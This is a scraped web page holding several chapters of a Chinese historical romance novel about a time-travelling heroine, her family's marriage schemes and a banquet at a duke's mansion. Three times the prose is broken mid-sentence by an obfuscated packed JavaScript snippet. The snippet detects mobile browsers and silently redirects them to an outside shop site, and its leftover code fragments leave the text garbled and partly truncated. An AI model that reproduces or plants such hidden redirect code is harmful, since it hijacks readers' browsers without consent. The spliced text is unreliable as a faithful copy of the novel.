接下来,想必不管母亲说什么,她也听不进去了,裴珠便顺水推舟,劝母亲放她回去跟她姨娘报喜去。 待她走后,母亲却不再就着此事再多说什么,反倒开了个裴珠始料未及的话头。 “袁府又托媒人来递话送礼赔罪,说上次他们家大爷意外坠马受伤误了相看日子,又连累你在山上受伤,实在过意不去,只是良缘不能轻言弃,还是想重定个相看的日子,你看是年前好,还是年后好……” 裴珠山中遇匪一事,自然心照不宣不往外头传,只说山路雪滑扭伤了脚。温玉堇本还要瞒住裴大老爷,奈何遣人回府去库房取药时恰好被他身边的王培撞见,这才走漏的风声。 重新相看? 裴珠愣了数秒,才终于从角落里,将与之相关的记忆捡了出来。 实在是这短短数日里经历太多,心绪已翻天覆地,她早将曾要与袁府公子相看一事抛在了脑后。 此时见母亲开门见山,她却不如往日那般干脆,反倒有些支支吾吾。 “这……不如……” 是请母亲回绝了,还是再拖上一阵呢…… 等等,她为什么下意识想要去拖延呢? 她踌躇未答,母亲却又峰回路转,直截了当问,“你觉得,你大姐姐这门亲事,是好是坏?” 裴珠怔住,去看母亲的眼睛,烛火下辨不清她眼底的神色,只知她乍然提及,必有深意。 母女之间,自然不必说些什么客气场面话。 她思忖片刻,才放低声音道,“好,也不好。” 大姐姐所嫁的成国公府,位列开国四王五公,世袭罔替的顶级勋贵,祖上出过一位皇后并一位亲王妃,还在世的崔老太君更是当今元后的义母。 现任成国公甫定西南,凯旋还朝,擢升中军都督府左都督,协理京营戎政,如今圣眷正浓,满府皆是鲜花着锦之盛。 ——而威远伯府早已没落,如今朝中只剩裴大老爷一个荫封入仕的六品微末小官,如何能与之相比? 且公府五老爷,只是辈分在此应称老爷,实则年方而立,简在帝心,官拜悬龙司从三品指挥同知,是裴大老爷眼下踮脚也够不上的品阶。 大姐姐以伯府庶长女身份,能嫁于他为正室,哪怕是续弦,也是世人眼中的高攀。 裴大老爷不知得意过几回这好女婿,时时还不忘敲打裴珠,若她当年肯听话嫁入高尚书府,如今已是阁老儿媳。 ——不错,险些成了她的公公的高尚书命中八字太好,正赶上王阁老意外病逝腾空,今夏顺利风光入阁。 “是啊,成国公府的门第,三品高官之妻,过门便是诰命加身,如何不好?” 母亲正饮一口热茶,用帕子轻拭唇角,却拭不去那隐约冷笑。 “你父亲一心想要高门亲家高官女婿,哪儿顾得上去琢磨那先五夫人是怎么去的……” 本来这些高门阴私,不至于随意打听就能摸清,只是老成国公宠妾灭妻满京闻名——当年的葛姨娘,如今的葛姨奶奶膝下三个儿子,嚣张猖狂至极,逼得正室太太也要退避三舍。 又据说,那葛姨奶奶不知为何,偏偏不疼爱这小儿子五老爷,更是既塞了娘家的侄女过来嫁他为妻,又整日动辄磋磨立规矩,盛传那先五太太便正因此积劳成疾,一病而去,只留下了个当时不满两岁的儿子。 如今老成国公已故,葛姨奶奶虽不如往日风光得意,只是到底是五老爷的生母,分家分府自然要跟着这个最有出息的幼子,如此一来,哪家高门贵女肯填进这个虎狼窝去。 “你道你父亲是如何为你大姐姐说成了这桩婚事?”温玉堇轻嗤一声,“是那葛姨奶奶扬言要先看八字是否妨碍她,又限定了只许乙巳年生女子,你父亲才巴巴地将你大姐姐的八字递了去,被她捡中的呢……” 大姐裴珍,正是乙巳年生人。 裴珠脸色冷了下来。 她猜父亲定是多番钻营才攀上的这桩婚事,却不知其中还有这样的内情。 为女择婿,居然卑躬屈膝至此,女儿在夫家又能过上什么好日子? “那大姐姐她……”知道吗? 娘亲淡淡摇头,“此中利害我一早便与你大姐姐,还有徐姨娘分说清楚了……” 徐姨娘极力赞同,大姑娘性子绵软拿不定主意,父亲和姨娘施压之下,仅有个六姑娘哪怕闹翻了天,也只得抹泪看她上了花轿。 而作为嫡母,温玉堇自认早已仁至义尽。 她神色一凝,“珠儿,你可知我为何要同你说这些?” 裴珠心知肚明,只垂首叹气,“娘亲是怕……怕我重走大姐姐老路……” ——其实,是险些大姐姐走了她的老路。 及笄时母亲便早做打算,为她说定了平南侯府三公子,门第相差不大,年纪亦是相仿,对方也算青年才俊,只是婚事不成,才令父亲寻着机会,要将她许给高尚书府上的“金牌鳏夫”高二公子…… 若不是高二公子自绝后路,她们借机退婚,如今怕早已被压着嫁去高家做填房了。 “你父亲为人凉薄,眼里只有他那飘渺官途,是绝不会管女儿们后半辈子幸福如何,能为你定高二公子一回,焉知后头还会不会有王二,李二……” “唯有早些将你的亲事先一步落定,才能彻底断了他的念头。” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819432|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 房中烛火噼啪,春佩轻手轻脚握小剪子去剪烛心,顿时四下亮堂许多。 静悄悄的,却半晌都未曾听到两位主子开口的声音。 裴珠陷入沉默,心头脑海忽掠过一道身影,却又被她按捺下去。 多想无益。 可无法否认,在他出现后,她的心底深处,总时而涌现些许微妙的期待。 可是这期待,不能单纯的定成是那个人,是某个人。 而是他代表的,一种未知的可能。 就像原本的静幽若镜的井水之中,落了片刻的雨。 便再不能如往常般,波澜不惊。 即使母亲的话句句在理,裴珠却总觉得,自己或许不该,不能那样轻易地定下来。 不能那样轻易地,彻底关上那扇门。 明明之前她都已经说服自己,既来之则安之,入乡随俗,和光同尘,不要执着追求这个时代难有的东西,毕竟,作为穿越大军中的一员,她已经算有相当幸运的开局了。 ——威远伯府虽日渐没落,不算顶级高门,但仍旧衣食无忧,生活富贵,父亲迂腐偏心,但她有最疼爱她的母亲,前途无量的兄长虽非亲哥,但胜似亲哥。 她原本已经决定,要遵循一位传统的古代闺秀命运走下去。 但此刻,裴珠忽然犹豫了。 她迟疑许久,才问了个看似风马牛不相干的问题,“母亲,您嫁来伯府,嫁给父亲,您后悔过吗?” 您也是高嫁如履薄冰,夫君凉薄,娘家败落,最初无子傍身的那几年,您是怎样度过的呢? 您无奈之下以外姓子充作嫡子,祖父灵堂上的来自夫君那一巴掌,又是如何承受的呢? 裴珠从不肯问这些,是因为她料定这对母亲而言是难以启齿的痛苦,她不忍心去掀明知是痛楚的伤疤,令母亲在回忆中再痛一次。 可是,似乎并非如此。 面对她这个突兀问题,母亲却并未作恼,或是幽怨,只是极其温柔平和地笑了。 她的脸生得内敛娴和,看似并无突兀的棱角,每一寸锐利都被恰到好处包裹在柔软之下,烛光里犹如块暖玉,泛着柔润光泽。 几乎像很早前就在等着裴珠的疑问般,她牵起唇角,开口道,“珠儿,娘亲并不后悔。” 裴珠歪倒在她怀里,贴着母亲暖融融的胸口轻声问,“该不会是因为,因为有了我吧?” 话音到最后,她又恢复往日的轻快语调,不想再平添伤感。 母亲的嗓音亦如她,仿佛能听到一点笑意。 “是,也不仅是……” “人生在世,不如意事十有八九,娘亲和你外祖父外祖母,只是能谋于前,难料于后罢了……” “当年我从江南十里红妆嫁进京中,从商贾之家一跃入京城勋贵府邸,羡慕我的人不知凡几,成婚头两年……也曾与你父亲举案齐眉,恩爱不疑,那时我便以为自己是这天底下最幸运的女子……” “却不知,世间如意幸事,到底难长久……” “不嫁给你父亲,亦会嫁给与他相类的人,凡是男子,多半如此,端看掩饰与否,掩饰时间长短而已……何必再整日后悔,遗憾于我不曾淌过的那条河,不曾踏上的那条路呢……” 母亲温热的手捧在她的脸颊旁,轻笑道,“而且,若嫁给旁人,哪儿还会有珠儿你……” 裴珠将脸埋进她怀里,屏息抑住忽如其来的泪意,好久后才嘟囔道,“怎么不会,不管我爹是谁,我都会从娘的肚皮中出来……” 反正她是穿越成温玉堇的孩子,可未必一定要是裴晖的孩子。 房中熏笼上的几块蜜桔皮烘出了好闻的芬香,沾染到母亲和她的衣裳,裴珠就这样环抱着母亲的腰,再不肯起来。 母亲抚着她的鬓角,缓缓道,“和袁家的相看还是定在年后正月吧,年前我也忙碌,抽不出空来,年后喜庆热闹……” “正是相看的好时候……” 15. 传信 距离威远伯府正院仅一院之隔的绛霞院内,徐姨娘正懒懒地歪在贵妃榻上,由贴身丫鬟不轻不重地揉着额角,嘴上却将跟前这死倔的小女儿数落个不停。 “你不是一贯瞧不上你父亲给你姐姐找的夫婿吗?怎的,如今太太给你指的那几个你都不愿,又想起来要找你父亲帮你周全了?” 前些日子,太太将裴玥与她唤至跟前,递过媒人送来的人选单子,纸上所列多是些末流小官家中子弟,或是尚无根基的寒门士子。裴玥几乎看也没看,便蹙起眉,寻个由头当面婉拒了。 “只怕你从前惹恼了他,他就不肯多为你费心了……” 长女裴珍竟能高嫁成国公府做三品诰命夫人,这是徐姨娘从前做梦也没敢想的好事,老爷来说时她还以为是诓她的呢,待到亲眼见那泥金绣边婚书,才知道她的运道终于来了。 ——她徐如芸,将来就是从三品指挥同知的亲岳母! 便是正院的太太,往后在她面前也抖不起来了。 五姑娘便有天大的造化,除非是嫁入王公贵胄之府做娘娘,否则未来夫婿的门第官职,势必将低她那好女婿一头! 偏偏这样的好事,她这小女儿非但不替大姐姐欢喜,还整日哭闹不休,甚至于绝食威胁,死活不许将她大姐姐嫁去公府。 真是不识好歹。 眼见她现在仿佛又改了心意,到底母女没有隔夜仇,自己总要为她谋划的,便又好声好气,“晚上你父亲来我这里的时候,再替你说道说道,总不叫你嫁个比你姐姐差太多的……” 裴玥却是绷紧一张脸,嫌恶至极,尖着嗓子叫道,“不要说!——我才不要给人做续弦当后娘!” 姨娘怎地就是听不进去她的劝呢? 方才她满心欢喜地过来,说起后日能去成国公府探望大姐姐的喜讯,谁知姨娘三言两语,又绕到了她的亲事上,絮絮叨叨说个没完。 她是不愿嫁给太太相看的那几个寒门举子,可这也不代表她就要学大姐姐那般,去闯那吃人的龙潭虎穴啊! 她早已见得登天梯,何必要去外头乱蹚浑水? 徐如芸对自己这个小女儿的脾性一清二楚,随口附和,“行行,你回头上天去做西王母去……” 裴玥才不管她的敷衍,只斩钉截铁道,“我的婚事我自己做主,不要父亲插手!我不做续弦,也不做侧室,只做正室太太!” 此言一出,徐如芸脸上也现出几分难堪,她抚着胸口将脸背过去,嗓音发颤,“你这死丫头,声声都要戳我心肝,是不是就恨你没投生在太太肚子里……” 裴玥红着眼眶扑过去搂住她,带着哭腔喊,“姨娘我不是这个意思……” 母女俩抱头痛哭安慰一场,许久后渐渐平复,徐如芸伸指轻戳她额角,“你呀你!再怎么讨好四爷那边,又送吃食又送衣裳,有什么用?人家如今都不是你嫡亲兄长,便是论情分,也要先论五姑娘,你哪儿排得上号?” “再说了,从前他是我们大房唯一的嫡子,族里最出息的,讨好两下也不吃亏,现在他被逐出伯府,空有个举子身份,又有什么用!” “等他中进士熬成大官,你早便成了老姑娘了!” 裴玥脱口便道,“谁要指望他替我选婿了?我是——” 我是指望他能成我的夫婿! 可这话便就是在姨娘跟前也不好宣之于口,她含糊几句带过,只说到底兄妹一场,现在不维系情分,万一将来四哥一朝发迹,连面子情都难有。 “我就算没法靠着四哥哥选夫婿,可将来嫁人了,娘家总要有个出息的让夫家高看一眼吧?你瞧我是能靠父亲,还是能指望二哥哥呀……” 裴家的男人,竟没一个顶用的,唯一成器的那个,还不是裴家的种。 裴玥不免又怨起自家兄长不争气,“二哥哥但凡有本事些,我哪儿需要筹谋这些……” ——二哥哥二十多岁才勉强中了个童生,跟十六岁高中解元的四哥哥,一个天一个地。 徐如芸也没法出口夸那榆木儿子,只是忧心忡忡,“也不知道你大姐夫那边能不能替你二哥哥走些门路,不能从文,他身强体壮的,从武也行呀……” 裴玥听这话早已耳根起茧,“大姐姐高嫁如泥菩萨过江,自身且艰难呢,姨娘你就别给她添麻烦了!” 虽然两世加一起,她也仅仅见过那位煞星大姐夫五六次,但显然对方绝非好相与之人,新婚夜就撇下新娘子外出公干,三朝回门也不曾陪大姐姐回伯府,成婚后更是常年不归家,全然不顾妻子在府中受着怎样的磋磨。 这样一个薄情寡义的姐夫,怎么可能为姐姐娘家出力? 裴玥心中思忖良多,最后还是认定—— 种种难事,唯有她攀上四哥哥这座通天真神,才能真正逆天改命! …… 数日后。 天光甫亮,裴珠仍沉醉梦乡时,就又被锦雁锦雀她们联手从床榻被窝里扶起来上妆梳头,而这发式头面衣裳更是这两日里研讨多次定好的搭配。 梳的是近来时兴的介于云顶髻与单螺髻之间的一种盘髻,插青玉缠丝梅花簪,配珍珠嵌蝴蝶银链流苏钗,脑后缀了几夺绿萼梅绢花,是巧手锦莺的大作——她们本还想再多插几支簪钗,被裴珠果断拒绝。 她更青睐留白。 上身着玉白剑兰暗纹杭缎袄,用的是丹微道长自江南送来的春水缎新做的——信上还说他游历至苏杭诸府,搜罗了一些合她口味的当地时兴衣料首饰,托商队送来京城,赠她做今年的年礼。 丹微道长,一位曾赠她好些妆粉古方,助她研制新品开铺子的有品奇人,生平最爱游历四方,上次见他已是数年前了。 前阵子雁南山遇匪时,裴珠制敌时所用的麻醉针,也是丹微道长赠与她防身用的。 下|身搭颜色呼应的天青云纹百裥裙,外罩银白素缎狐毛斗篷,领口处缀着两枚白玉镂空竹节扣。 收拾齐整后,她便携丫鬟出发去正院,本以为自己就已够盛装打扮,到那一见早便迫不及待等着出发的六妹裴玥,和二房的七妹裴琼,才知道什么是花团锦簇,目不暇接。 两人一个穿海棠红百蝶穿花夹绸长袄,一个穿桃红对襟彩秀小袄罩杏黄比甲,高梳朝天环髻,遍插红珊瑚宝石簪钗堆纱绢花,通身锦缎浮光,四处金玉生辉。 见裴珠过来,两人同步起身将她围住,目光关切,亲热议论起各自的装束,好得跟一个人似的。 ——裴珠对此情状并不意外。 伯府四个姑娘中,除却大姐姐裴珍从小不常与她们玩耍,剩下三个素日各有微词,时不时就要出口刺上谁一两句,唯有随这种要随长辈去府外做客的时刻,又会忽然“一笑泯恩仇”。 此番前往成国公府贺寿,得了大老爷裴晖的首肯,府中小辈尽数出动,光是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822430|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主子们就备下两辆华盖车,后头还跟着几辆青帷小车,专载随行的丫鬟小厮,一行人马浩浩荡荡向公府行去。 路上七妹裴琼眉飞色舞,大谈成国公府二三事,“据说先皇后当年就在公府崔老太君膝下长大,后来才嫁去的西北封地,后来随着当今圣上入京,说成国公府是半个娘家也不为过……” “……新任成国公刚平定西南归京,升官受赏,好生风光!今日怕是满京城的勋贵都要去公府庆祝……” “公府如今五房中,以袭爵的二房最为显赫,府里好些个公子小姐都同咱们府上一样,还未定亲呢……” 裴玥当即毫不客气道,“我大姐姐已经嫁去了公府五房,家中万没有再嫁一个裴家女过去的道理!更何况还矮了一辈!你少痴心妄想了……” 裴琼同样伶牙俐齿,“我不过随口说说,六姐姐就联想到这些,莫不是平日里早已有盘算……” “你!——” “好了!”大太太温玉堇低喝一声,沉着脸将她们都扫了一遍,“谁再口无遮拦,便立时下车回府去!未出阁的姑娘家,从哪学来这些没轻没重的话?” 两人顿时缩起脑袋,纷纷老实。 裴珠今日起了大早,正犯困合眼补眠,不曾插话,听着两只小斗鸡终于偃旗息鼓,顿觉耳根清净。 不过,裴琼的话里仅有一句引起她的遐思——满京勋贵都要去贺寿,那远在城外雁南山上的英国公爷是否也会去? 若是他也去,那个人会跟着一道去吗? 裴珠昨日便命人将自己新写的一封信送去了妆粉铺子中,也不知道,他会不会去取呢…… …… 浅湖水绿的信封,右下角钤着枚豆青色闲章,依稀辨得“灵豫君”三字的小篆,裴洲无声端详许久,再度拆信抽出那张罗纹信笺,之后便又陷入长长的静默之中。 屋内修竹修林兄弟俩,一人掸尘擦桌,一人给博古架上的盆景浇水,见自家主子又坐在案前出神,修竹拽着弟弟修林退出书房,寻了僻静角落低声问。 “前些日子我在山上养伤,不曾去爷身边服侍,你一直跟着爷,除了抓刺客外,还出了什么事?他近来……怎地总魂不守舍……” 修林抓了抓头,同样颇为焦躁,“我也不知道……” 除却用奚将军身份去救了五姑娘外,还有什么自己不曾察觉的事呢…… 上次四爷将五姑娘那封信夺过去锁进匣中,此番又命自己去让“那边”的人前去落云轩取信。 如今知晓主子多重身份隐秘的下属,除他兄弟二人,还有“奚将军”身边的数位心腹,爷既叫他们取信送来,自是因为那信是要给“奚将军”的,而信来自落云轩,那多半就是五姑娘所写。 五姑娘既不知“奚将军”真实身份,却又给他写信。 「七日一信,盼君及时至」 脑中思绪抽丝剥茧,忽如惊雷炸响,一个显而易见的猜测呼之欲出。 “陌生男女”,救命之恩,花笺传信,这意味着什么—— 修林原地呆住。 任凭兄长摇晃他肩膀追问,也三缄其口。 心底生出的直觉告诉他,此事绝不能再向外透露,无论是谁。 便是亲兄长也不行。 而此时四爷已换好衣裳出来,点了他随行,要赴今日成国公府崔老太君寿宴。 他忙跟了上去。 16. 有意 裴洲如今所居别业,乃是先威远伯爷的私产,当初并未直接与伯府打通,但毕竟只一墙之隔,伯府马车绕行向大街时,总需从别业门口路过。 他在门口正候随从套马车时,就见伯府方向驶来一辆马车,有人掀起帘子朝他兴冲冲挥手,扬声问,“四弟!你这是上哪儿去呀?” 原来是二哥裴淇。 裴洲刚答要去成国公府贺寿,就见二哥乐得直拍大腿,“咱们也是去成国公府,你快上来,父亲恰好不在,里头宽敞着呢!” 原来如此。 裴洲了然一笑,原来是因为裴大老爷并未一道乘车,难怪见父如鼠见猫的二哥此刻格外悠闲自在。 “方才我同二哥正在门口候着大伯一道上车时,就听人来报,说大伯方才接到上峰张大人的急信,要赶去衙门,今日怕是不能赴宴贺寿了……” 三哥裴泽朝他递了个眼神,示意去看二哥瘫软倚车厢壁的懒散姿态,好笑道,“二哥立刻就换了这个模样……这么多年了,二哥竟还是这样怕大伯……” 裴淇立刻直起身大吐苦水,“你要是这么十年如一日被摁头苦读,又坐立都是错,总被劈头盖脸骂,你也得怕……” 他调过头来,将两位弟弟挨个细看一遍,一位英姿勃发,一位风光霁月,个个都有大好前途,难免语带艳羡,“你们俩倒是好,眼看都要有出息了……” 四弟不用说,从小便才思敏捷,若不是祖父遗命耽搁,如今怕早已金榜题名,三弟也是,托岳家之福,上月便已补了京营小旗的缺,好歹是个武职,总强过自己这一介白身。 只是,若要叫自己与他俩调换,裴淇又自认吃不了那个苦。 瘦死的骆驼比马大,他将来但凭府中分派的田产铺面过活,像二叔那般整日悠闲垂钓跑马听书,再娶位可心的妻子,不求闻达,只安稳度此一生,多逍遥快活? 白身便白身,他不在乎。 只是说到娶妻,他便更羡慕三弟了,“你小子最好,咱们三个中最先娶妻,瞧你这笑得满面春风样……” 裴泽轻咳两声,“毕竟我岳丈开年便要离京上任河间卫镇抚,婚事若不在年前办了,年后怕是来不及……” “唉……也不知道何时才能轮上我……”裴淇酸溜溜叹,“按照父亲的意思,恐怕这辈子我都难娶上媳妇了……” 父亲信奉立业成家,定要让他科举得中才能娶妻,且父亲跟姨娘都眼界奇高,非十全十美高门贵女不定,也不想想,那样金尊玉贵的淑女,何必要嫁他呢…… 马车忽猛地歪晃,裴淇胳膊不慎一甩,袖中竟滚出一枚杏黄底绣缠枝莲的袖珍荷包,落到了车板角落。 ——显然是闺阁女子的式样。 裴泽离得近,顺手就从脚边抄了起来,转头揶揄笑,“难怪二哥方才口口声声羡慕我成亲,原来早已心有所系了啊……” “快给我!我那是不小心捡了人家姑娘的,准备今儿吃了寿宴回来就还给她呢……” 裴泽转手一翻,便将那荷包悬在车窗外,拉长语调坏笑,“我数三个数,二哥若再不老实交代,莫怪我手不稳啊——” “慢着慢着——” 裴淇急得面红耳赤,“真是我捡的!我同潘姑娘在茶楼吃点心时候她落下的!” 这时,本闭目养神的裴洲也睁开眼来,与满脸促狭的裴泽对视上。 两人一道开口。 “哪位潘姑娘?” “莫非是未来二嫂?” 裴淇终于趁机将荷包夺回来,迅速塞进怀中,没好气道,“什么二嫂,少污了人家清誉,我之前托她家商队从南方帮我带些上好木料回来,往来几回方才认识,不过是寻常友人罢了!” 裴泽仿佛听到了什么天大的笑话,“二哥你是男儿,潘姑娘是女子,男女之间何来寻常友人?” 不料他的“盟友”四弟裴洲竟临阵倒戈,同二哥一道偏头望他,目露不赞同。 “如何没有?” 譬如他另一个身份与阿珠,便正如袁公越女与虬髯公红拂女。 ——正是寻常友人。 此言一出,裴泽几乎瞠目结舌。 他的目光在两位兄弟脸上来回逡巡,半晌说不出话来,最后无奈长叹。 “难怪咱们三个中,比我年长的二哥,比我更出息的四弟,都还孑然一身,倒是我这个居中的最先成亲呢!……” “如今我可算明白了!” 这俩不愧是能做亲兄弟的命,就算不是一个爹养的,竟都是一水的木楞呆瓜! 满伯府男丁中,居然只有他裴泽一个真正聪明人。 裴泽猛地凑近裴洲,刁滑盘问,“四弟你不会也在同什么潘姑娘岳姑娘,做''寻常友人''吧?” 比起呆头鹅二哥,他更好奇这位素日心思玲珑的四弟,是何时,又是何处来的桃花。 只见四弟温煦面上掠过一缕不自在,并未直言,却也并未反驳。 裴泽展开双臂,将二人一左一右揽住,苦口婆心,“如今世风,男女大防在先,男子与女子之间如何能以友人相处……” “四弟你从小饱读圣贤书,怎会连这个道理也不明白?” 他略一思忖,又正色举例,“咱们都有姊妹,若有外男借故与她们以友相称……” “这十成十是那登徒子居心叵测啊!” 不料左右两位兄弟竟异口同声—— “那若是女子先……” 裴泽这才松开他们,挨个肩膀重重一拍,挤眉弄眼笑道,“那自然另当别论……” “多半……是那姑娘心仪你们却不好开口罢了……” 裴淇扭扭捏捏,“……这不可能吧……” “绝无可能!” 裴洲却断然喝止。 ——阿珠怎么可能会…… 一缕深埋于心的疑虑便就趁机破土而出,仿佛竟有声音朝他悄然低语。 你当真不曾怀疑过吗? 阿珠望过来的如水目光,轻盈嗓音,缱绻笑意—— 你当真不曾怀疑过,她或许真的,对那个不存在的“奚止”有意吗? …… 马车行至成国公府所在的街口,速度便明显减缓。 裴珠将马车帘子掀起一角,只见公府门前宽阔的街道早已被各色华贵车驾塞得满满当当,骏马喷鼻,喧阗不绝。府上管事们穿梭在车驾之间,堆笑殷勤迎客,忙得脚不沾地,好一会后才终于轮到裴家的马车。 待递过请柬礼单后,一位穿着体面的嬷嬷领着丫鬟媳妇循例迎了上来,笑容得体,“给夫人小姐公子们请安,一路辛苦。” 裴珠下车后,才远远瞧见后头马车上跟着二哥三哥一道下来的四哥,正欣喜要叫他时,却见四哥面含笑意朝她轻轻摇头,示意不要开口,裴珠顿时怔住。 眼见四哥他单独递上了自己的请帖,被另外的管事引进了公府的门,与她们擦身而过。 裴珠的心莫名沉甸甸地坠了坠,几乎头一次真正意识到,四哥,并非她真正的哥哥了。 即便母亲待他如旧,即便她口口声声亲昵叫着哥哥,即便二哥三哥仍认他做兄弟,但他终归不再是裴家子弟,便就不算是公府五太太的亲眷,就不能跟着母亲与她一同去内院拜见今日过寿的老太君。 就只能,与她们分道扬镳。 怀着这莫名低落的情绪,裴珠敛了笑意,微垂眼睫,跟在引路的嬷嬷丫鬟后头,随着母亲兄长姐妹们一道,登入热闹的成国公府大门。 但见府内画梁雕栋,曲廊回环,气派非凡,廊下阶前处处张灯结彩,仆从如云。 她们一行人绕过一座紫檀木底座的大理石屏风,过了垂花门,便直达老太君所在的正堂,堂内已是珠环翠绕,香气馥郁,诸多女宾云集于此,个个锦衣华服,语笑嫣然。 温玉堇领着裴家众兄弟姊妹上前,在丫鬟引导下,于堂中铺着的红毡上恭敬拜倒,齐声道贺,“恭祝老太君福如东海,寿比南山!” 上首座上一位身着深赭色五福捧寿纹样锦衣,满头银丝的老太太,笑呵呵地受了礼,连声道,“好,好,快请起,都起来。” 这便是今日的老寿星——成国公府的崔老太君了。 “都是青葱一样的姑娘小子们……好呀……” 她眼底通亮,目光慈爱,说话却逐渐胡乱没有章法,一会知道她们是来贺寿的客人,一会仿佛又将她们认做了旁人,四处挥手招喊。 “兰娘,芸娘,铮儿,世儿,来这边……” 口中念着些不知是谁的名字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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开口的正是成国公夫人——座上除了老太君外最尊贵的女眷,她带笑将裴家几位姑娘细细瞧过,最后颇为惊讶,忙朝温玉堇问道,“温夫人,莫不是我眼花了?这是贵府哪位姑娘,竟生了颗观音痣……” 此言一出,堂内女眷纷纷朝裴家姐妹看了过来。 时下崇佛之风正盛,前朝所称的“美人痣”,到本朝多尊称为“观音痣”,乃是大福之相。 温玉堇从容浅笑,“夫人好眼力,这正是小女,家中行四。” 裴珠便被引至这位夫人跟前,对方亲切握住她的手,细细端详。 国公夫人不仅目力极佳——隔那么远还能瞧见自己眉心那点小痣,连嗓音也温厚悦耳,令人如沐春风。 “当真是若出水芙蓉,清雅灵秀,偏又不显轻浮,好好,活脱脱的观音相,必然福泽绵长……” 邻座一位珠环翠绕的夫人也接茬捧道,“今日老太君寿宴,便好似王母娘娘座下群仙齐聚的瑶池会,要我说,国公夫人跟前这位,分明就是仙女里的魁首了!” 裴珠忙垂首作羞,心中暗暗叫苦。 ——这位夫人,你单奉承老太君就好,何必又来捧杀她呢…… 谁知竟有人迫不及待添柴加火,急声笑问,“温夫人,不知府上姑娘,可曾说了人家没有?” 温玉堇含蓄笑答,“家中姑娘都金贵娇养,大姑娘得幸嫁入公府,下头几个妹妹年纪尚小,还想着多留些时日呢。” 崔老太君高坐正中,时而嘟囔几句胡话,此刻忽如孩童般执拗起来,插话道,“……谁说还未定亲,兰娘早便许了庆王世子,就待她父兄回京后成亲呢!” 国公夫人神色一滞,转而柔和哄劝,“母亲,这是五弟妹娘家四妹妹呢,不是……” 她似乎不敢将那个名字呼之于口,只极轻地含糊带过。 崔老太君却不作理会,只朝裴珠遥遥伸手,“来,兰娘快过来我身边,我再细瞧瞧……” 裴珠与母亲对视一眼,见她朝自己微微点头,便向崔老太君处移步近前,屈膝福了一福。 “小女给太夫人请安。” 17. 衣料 崔老太君额上戴沉香色遍地金寿字纹卧兔,正中嵌着块润泽碧玉扣,笑时便见眼尾层叠细纹。她伸过来的手干燥而温暖,轻柔抚着裴珠的手缓缓拍了几下。 “……好好,离京嫁去封地,也要好好的……” 裴珠不禁鼻间一酸。 前世在现代,姥姥送她离家去上大学时,记忆常停在她小时候,以为她还是个刚背上书包去上学的小孩子,也总是这样拍着她轻声哄劝。 “……宝啊,到了学校,也要好好的……” 穿越近二十年过去,她以为自己早便记不清了,此时才察觉,一切依旧历历在目。 …… 待裴珠回神后,才反应过来,老太君口中的另几个字是—— 嫁去封地? 这话有些耳熟…… “……据说先皇后当年就在公府崔老太君膝下长大,后来才嫁去的西北封地……” 裴琼的话适时响在耳畔。 裴珠恍然大悟。 难怪国公夫人不敢直言去劝! 崔老太君上了年纪犯糊涂,竟将她当做那位贵人“兰娘”去关切嘱咐…… 正沉思时,老太君忽而褪下一只玉镯,往她手腕上套来,裴珠连忙要推辞,不由求救似地看向母亲与国公夫人处。 国公夫人却含笑劝道,“母亲向来疼爱灵慧姑娘,见了合眼缘的,便要送自己的好东西,四小姐不必推却,且安心收下吧!” 裴珠目光掠过那只已套在自己手腕上的玉镯,只瞧那通透玉色便知价值不菲,想必是老太君的心爱之物,也不知她若是清醒了,会不会后悔胡乱送给一个陌生小辈。 ——她决心先将此镯束之高阁,万一哪日人家来讨,也能完璧归赵。 正此时,外头又一阵喧闹,数位华贵女眷在众仆从的簇拥之下朝正堂而来,丫鬟高声通传“睿王世子妃到,寿漳郡主到——”。 声势分外煊赫,屋内女客几乎一道起了身,朝向门口,敛衽屈膝行礼。 只见走在前头的睿王世子妃衣着低调,只着一身深青织金缎面对襟长袄,罩锦缎披风,紧随其后的寿漳郡主恰恰相反,身着宝蓝色满地绣金竖领长袄,发间一套赤金点翠祥云牡丹头面,极其夺目。 相伴在侧的年轻姑娘应是寿漳郡主之女,盛饰华服,同她母亲一般的璀璨耀眼。 裴珠垂眸盯着脚尖,竭力减少自己的存在感。 ——方才她立在老太君跟前说话,正赶上女眷纷纷起身朝外行礼,不好挪动位置,无形之中站在了正堂最中心,又比老太君还要更靠前! 幸好。 国公夫人不知有意或是无意,起身先一步到裴珠前方,恰好挡住了她,又福身向世子妃行礼,请世子妃于自己原本的位置上落座。 裴珠才得以抽空,借着躬身行礼之机,飞快退回座位,安稳坐下。 裴玥和裴琼两个顿时忍不住歪了脑袋,眼风往她手腕那儿瞄,裴珠低咳一声,提醒她们莫忘了方才在马车上的豪言壮志。 ——“待会咱们进了公府,务必处处抬头挺胸,见到任何稀奇玩意儿,也要当做司空见惯,免得叫人说我们伯府姑娘没见过世面,到时还要丢大姐姐的脸。” …… 她俩立时端正身姿,假作无事发生。 